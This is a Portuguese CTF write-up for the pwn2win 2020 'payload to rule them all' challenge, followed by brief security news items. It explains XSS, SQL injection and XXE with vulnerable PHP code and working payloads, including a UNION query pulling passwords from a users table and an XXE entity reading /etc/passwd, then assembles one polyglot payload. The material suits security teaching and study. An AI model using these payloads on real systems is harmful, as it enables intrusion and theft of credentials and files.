Jump to content
  • Payload to rule them all

       (0 reviews)

    Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4).
    Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio.

    O que é Reflected XSS

    Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript.

    Código vulnerável:

    ### Contexto de html
    <?php
            $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome
            print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1>
    ?>

    O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript.

    XSS:

    http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script>
    http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)>

    Código vulnerável:

    ### Contexto de atributo
    <?php
         $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img"
          print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img">
    ?>

    Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript.

    XSS:

    http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)>
    http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)//

    Código vulnerável:

    ### Contexto de códigos JavaScript
    <?php
            $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome
            print '<body>'; // Adiciona a tag <body> no HTML
    
            print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina
    
            print '</body>';// adiciona tag </body> para fechar a tag no html
    ?>

    Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //.

    XSS:

    http://localhost:8000/xssjavascript.php?nome='-alert(1)//

     

    O que é SQL Injection

    SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento.

    Código vulnerável:

    $usuario = $_POST['usuario'];
    $senha = $_POST['senha'];
    $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
    $processa = mysql_query($sql);

    Explorando SQL Injection

    No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário :

    $usuario = "epicleetteam";
    $senha = "admin";

    Com as entradas acima a consulta SQL resulta no seguinte:

    SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin'

    Demonstrando agora o que acontece quando enviamos entradas com aspas simples:

    $usuario = "epicleet'team";
    $senha = "admin";

    Com as entradas acima a consulta SQL resulta no seguinte:

    SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin'

    Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL.

    Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query:

    $usuario = "epicleetteam' union select sleep(5)#";
    $senha = "admin";
    SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin'

     

    O que é XXE

    XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço.

    Exemplo com arquivo local:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

    Saída:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
    gnx:x:999:999::/home/gnx:/bin/sh

    Exemplo com arquivo externo:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo>

    Vamos ao desafio

    A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection.

    Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi.

    Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js

    SQL Injection

    Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante.

    Trecho do desafio vulnerável a SQL Injection:

    const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql
    await connection.end()
    return JSON.stringify(sqli).includes(users[0]["password"])    //<- Verifica se password esta no retorno da query

    Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION.

    O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries.

    Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado):

    'UNION SELECT sleep(5)# (não demorou)
    'UNION SELECT sleep(5),null#  (não demorou)
    'UNION SELECT sleep(5),null,null#(demorou)

    Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas

    'UNION SELECT sleep(5),null,null,null#  (não demorou)`

    Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final

    'UNION SELECT null,null,(select password from users)#

    E assim fica a query executada pelo SQL:

    SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#'

     

    XXE

    Trecho do desafio vulnerável a XXE:

    var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio
    fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret
    var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml
    return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml

    Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root>

    Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas.

    Assim ficamos com um payload poliglota que explora XXE e SQLi.

    Payload de XXE+SQLI:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)#

    XSS+XXE+SQLI

    A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript.

    Trecho do código vulnerável:

    payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml
    await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script>
    const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido

    Como todo o payload era passado em uma lib de sanitização antes de ser injetado no  browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib  também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo:

    <tag aleatoria> é removido
    <!--é removido -->

    Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário.

    SQL Injection com comentários do HTML:

    <!--’UNION SELECT (select password from users),null,null#-->

    Payload invalido com Sql Injection + XXE + XSS:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#-->

    A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string.

    Partes restantes do payload depois do sanitize:

    ]>xss=1//&test;

    Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>:

    Uncaught SyntaxError: Unexpected token ']'

    Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml.

    No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload.

    Payload Final usando comentário javascript:

    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null

    Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe.

    Payload Final

    <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->
    • l33t 1

    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


  • Similar Content

    • By Bruna Chieco
      Pesquisadores da SentinelOne descobriram que, desde 2009, vulnerabilidades nos drivers da Dell afetam potencialmente centenas de milhões de máquinas. Os atacantes podem usar os bugs para iniciar uma série de ataques. As cinco falhas de alta gravidade no driver de atualização de firmware da Dell afetam desktops, laptops, notebooks e tablets da fabricante.
      As descobertas do SentinelLabs foram relatadas à Dell em 1º de dezembro de 2020 e são rastreadas como CVE-2021-21551. A Dell, por sua vez, lançou uma atualização de segurança para seus clientes para resolver a vulnerabilidade.
      Em publicação no Blog do SentinelLabs, o pesquisador relata o processo de investigação da postura de segurança do módulo de driver de atualização de firmware versão 2.3 (dbutil_2_3.sys). O componente vem pré-instalado na maioria das máquinas Dell que executam o Windows e máquinas Windows recém-instaladas que foram atualizadas. 
      O driver chamou a atenção do pesquisador devido ao uso do Process Hacker, que tem um recurso que exibe uma mensagem de notificação toda vez que um serviço é criado ou excluído. Isso o levou à descoberta dos cinco bugs de alta gravidade que permaneceram ocultos por 12 anos. 
      As falhas de alta gravidade podem permitir que qualquer um aumente privilégios e execute o código no modo kernel. Entre os abusos das vulnerabilidades está o fato de que elas podem ser usadas para contornar produtos de segurança. Um invasor com acesso à rede de uma organização também pode executar código em sistemas Dell sem patch e usar essa vulnerabilidade para obter elevação local de privilégio. 
      (Crédito da imagem: Wikipedia)
    • By Bruna Chieco
      Atacantes estavam explorando um bug grave no sistema operacional da Apple, o macOS, conseguindo contornar a maioria dos mecanismos de segurança do sistema. Segundo a Vice, o bug era, até então, desconhecido e foi utilizado para invadir um número não identificado de computadores Mac. O problema foi relatado à Apple em 25 de março, e a empresa já lançou um patch na versão mais recente do MacOS Big Sur, corrigindo a falha.
      Pesquisadores de segurança que encontraram a vulnerabilidade e a analisaram dizem que a falha permitia que os atacantes criassem um malware que poderia assumir o controle do computador da vítima, contornando as proteções de segurança da Apple no macOS, como Gatekeeper, Quarentena de Arquivos e requisitos de autenticação de aplicativos. Em teoria, esses mecanismos bloqueiam o acesso de arquivos baixados da Internet aos arquivos do usuário, a menos que sejam assinados por desenvolvedores conhecidos e tenham sido verificados pela Apple. 
      Um pesquisador independente especializado em macOS afirmou à Vice que esse é o pior ou potencialmente o mais impactante bug para os usuários diários do macOS. Apesar da vítima em potencial ter que clicar duas vezes em um arquivo malicioso para infectar seu computador, o sistema não mostra nenhum alerta, prompt, nem bloqueia a execução do aplicativo, de acordo com os pesquisadores.
      Um porta-voz da Apple disse que a empresa implantou regras para detectar malwares que abusam desse bug em seu aplicativo antivírus XProtect. Essas regras são instaladas automaticamente em segundo plano, o que significa que todos os dispositivos macOS, incluindo os que executam versões anteriores, também terão essa proteção.
    • By Bruna Chieco
      O AirDrop, recurso que permite que usuários de Mac e iPhone transfiram arquivos sem fio entre dispositivos da Apple, está com uma falha que permite o vazamento de e-mails e números de telefone dos usuários. 
      Segundo o Ars Technica, o AirDrop, que usa Wi-Fi e Bluetooth para estabelecer conexões diretas com dispositivos próximos e transferir fotos, documentos, etc., entre um dispositivo iOS ou macOS para outro, funciona em três modos: um que permite que apenas contatos se conectem, um segundo que permite que qualquer pessoa se conecte, e o terceiro, que não permite nenhuma conexão.
      Para determinar se o dispositivo de um possível remetente deve se conectar a outros dispositivos próximos, o AirDrop transmite anúncios Bluetooth que contêm um hash criptográfico parcial do número de telefone e endereço de e-mail do remetente. Se qualquer um dos hashes truncados corresponder a qualquer número de telefone ou endereço de e-mail no catálogo de endereços do dispositivo receptor, ou se o dispositivo estiver configurado para receber de qualquer pessoa, os dois dispositivos entrarão em autenticação mútua via Wi-Fi, trocando os hashes SHA-256 completos dos números de telefone e endereços de e-mail dos usuários.
      O Ars Technica explica que atacantes conseguem descobrir os hashes executando um ataque de força bruta, que lança um grande número de suposições e espera por aquele que gera o hash procurado. Quanto menor a imprevisibilidade ou força no texto não criptografado, mais fácil de adivinhar ou quebrar o hash.
      "Esta é uma descoberta importante, pois permite que os invasores obtenham informações bastante pessoais dos usuários da Apple que, em etapas posteriores, podem ser abusadas para ataques de spear phishing, golpes, etc. ou simplesmente serem vendidos", diz ao Ars Technica um dos pesquisadores na Universidade Técnica de Darmstadt, na Alemanha, que encontrou as vulnerabilidades, Christian Weinert. 
      Os pesquisadores dizem que notificaram a Apple em particular sobre suas descobertas em maio de 2019. Um ano e meio depois, eles apresentaram o "PrivateDrop", um AirDrop reformulado que desenvolveram e que usa interseção de conjuntos privados, uma técnica criptográfica que permite que as duas partes façam contato sem revelar hashes vulneráveis. A implementação do PrivateDrop está publicamente disponível no GitHub.
      Segundo o Ars Technica, até o momento, a Apple não indicou se tem planos de adotar o PrivateDrop ou empregar alguma outra forma de corrigir o vazamento. 
    • By Bruna Chieco
      O Cisco Talos, grupo global de inteligência de ameaças de cibersegurança da Cisco, descobriu uma vulnerabilidade de divulgação de informações no kernel do Linux.
      A vulnerabilidade, rastreada como CVE-2020-28588, pode permitir que um invasor visualize a pilha de memória do kernel, o que significa que dados ou informações que não deveriam ser vistas possam ser acessadas. O problema foi visto pela primeira vez pelo Cisco Talos em um dispositivo Azure Sphere (versão 20.10), um dispositivo ARM de 32 bits que executa um kernel do Linux corrigido.
      O kernel do Linux é o núcleo livre e de código aberto dos sistemas operacionais do tipo Unix. A vulnerabilidade existe especificamente na funcionalidade /proc/pid/syscall de dispositivos ARM de 32 bits executando Linux.
      Um invasor pode explorá-la lendo /proc/<pid>/syscall, um arquivo legítimo do sistema operacional Linux, podendo aproveitar esse vazamento de informações para explorar com êxito vulnerabilidades adicionais não corrigidas.
      O Cisco Talos trabalhou com o Linux para garantir que esse problema seja resolvido e uma atualização já está disponível para os clientes afetados. Os usuários são incentivados a atualizar esses produtos afetados o mais rápido possível para o Kernel Linux versões 5.10-rc4, 5.4.66 e 5.9.8.
    • By Bruna Chieco
      Um pesquisador de segurança encontrou um bug "crítico" no mecanismo de jogo da desenvolvedora de jogos Valve, que alimenta, entre outros jogos, o Counter Strike. Segundo reportagem da Vice, a partir dessa falha, atacantes poderiam assumir o controle dos computadores das vítimas apenas enganando-as para que cliquem em um convite do software de gestão Steam. 
      O pesquisador diz ter alertado a Valve sobre a falha em junho de 2019. Embora o bug tenha sido corrigido em alguns jogos que usam o motor Source, ele ainda está presente no Counter Strike: Global Offensive. Outro pesquisador também encontrou o mesmo bug meses depois.
      Por meio dessa falha, atacantes poderiam espalhá-la automaticamente, quase como um worm. Ou seja, depois de infectar alguém, a pessoa pode ser transformada em "arma" para infectar seus amigos e assim por diante.
×
×
  • Create New...